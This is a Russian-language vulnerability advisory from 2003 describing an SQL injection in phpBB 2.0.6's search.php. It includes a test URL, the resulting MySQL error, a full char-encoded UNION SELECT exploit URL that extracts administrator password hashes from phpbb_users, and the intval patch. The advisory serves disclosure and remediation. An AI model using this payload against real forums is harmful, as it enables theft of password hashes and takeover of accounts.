Security Lab

SQL иньекция в в phpBB 2.0.х

Дата публикации:30.11.2003
Всего просмотров:6663
Опасность:
Средняя
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: phpBB 2.06 и более ранние версии

Описание: Уязвимость обнаружена в phpBB в 'search.php'. Удаленный пользователь может внедрить SQL команды, чтобы получить административный доступ к приложению.

Как сообщается, сценарий 'search.php' не достаточно проверяет параметр 'search_id'. Удаленный пользователь может послать специально обработанное значение, чтобы выполнить произвольные SQL команды на целевом сервере, например, чтобы получить хэши паролей администратора. С хэшами паролей, удаленный пользователь может изменить свои куки, чтобы получить доступ к системе. Воздействие уязвимости зависит от версии используемой базы данных MySQL.

Для определения уязвимости, выполните следующий запрос:

http://your_site/phpBB2/search.php?search_id=1\
Если ваша система уязвима, то запрос выдаст SQL ошибку:
SQL Error : 1064 You have an error in your SQL syntax. Check the manual that 
corresponds to your MySQL server version for the right syntax to use near '\\ AND 
session_id = '9c9052fd135c0cefb31ec4b5124060f7'' 

SELECT search_array FROM phpbb_search_results WHERE search_id = 1\\ AND session_id
 = '9c9052fd135c0cefb31ec4b5124060f7'

Line : 693
File : /usr/local/www/data/phpBB2/search.php
Эксплоит (боле подробное описание см. в источнике сообщения) (работает только в MySQL 4.x!):
http://site.com/search.php?search_id=1%20union%20select%20concat(char
(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116
,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,
116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,
105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,
34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58
,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49
,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,
111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,
114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=[id]/*

URL производителя: http://www.phpbb.com

Решение:Внесите изменения в search.php или обновите phpbb 2.06:

fix this flaw please open search.php in any text editor. Find the following code 
(in the vanilla release of 2.0.6 this can be found around line 685): 
Code: 

      if ( intval($search_id) ) 
      { 
         $sql = "SELECT search_array 
            FROM " . SEARCH_TABLE . " 
            WHERE search_id = $search_id  
               AND session_id = '". $userdata['session_id'] . "'"; 
 

Replace it with the following: 
Code: 

      $search_id = intval($search_id); 
      if ( $search_id ) 
      { 
         $sql = "SELECT search_array 
            FROM " . SEARCH_TABLE . " 
            WHERE search_id = $search_id  
               AND session_id = '". $userdata['session_id'] . "'"; 
.
Ссылки: phpBB 2.06 search.php SQL injection
Re: phpBB 2.06 search.php SQL injection